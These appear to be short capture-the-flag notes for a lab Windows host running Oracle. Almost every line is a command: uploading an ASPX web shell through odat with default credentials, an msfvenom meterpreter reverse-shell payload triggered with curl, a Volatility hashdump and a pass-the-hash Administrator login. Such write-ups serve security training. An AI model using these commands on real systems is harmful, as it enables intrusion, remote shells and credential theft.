Enumeration
nmap
SID Enumeration
Password Guesser – odat
Uploading aspx shell for command inejction
./odat-libc2.5-x86_64 dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger –putFile ‘C:\inetpub\wwwroot\’ ‘shell.aspx’ /usr/share/webshells/aspx/cmdasp.aspx –sysdba
Reverse Shell
Or create msfvenom payload for reverse shellmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f aspx > lisa.aspx
Upload the file./odat-libc2.5-x86_64 dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger –putFile ‘C:\inetpub\wwwroot\’ ‘lisa.aspx’ /root/odat2.5/lisa.aspx –sysdba
Call the file for the reverse shellcurl http://10.10.10.82/lisa.aspx
Privilege Escalation
Download the fileIn the dump, to find the valuable info, use Volatile (check Github page)
Volatile
Suggested profiles:python vol.py -f /root/Downloads/SILO-20180105-221806.dmp imageinfo
Sysinfo
python vol.py -f /root/Downloads/SILO-20180105-221806.dmp –profile=Win2012R2x64 hivelist
python vol.py -f /root/Downloads/SILO-20180105-221806.dmp –profile=Win2012R2x64 -y 0xffffc00000028000 -s 0xffffc00000619000 hashdump
Admin Shell – PasstheHash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd.exe
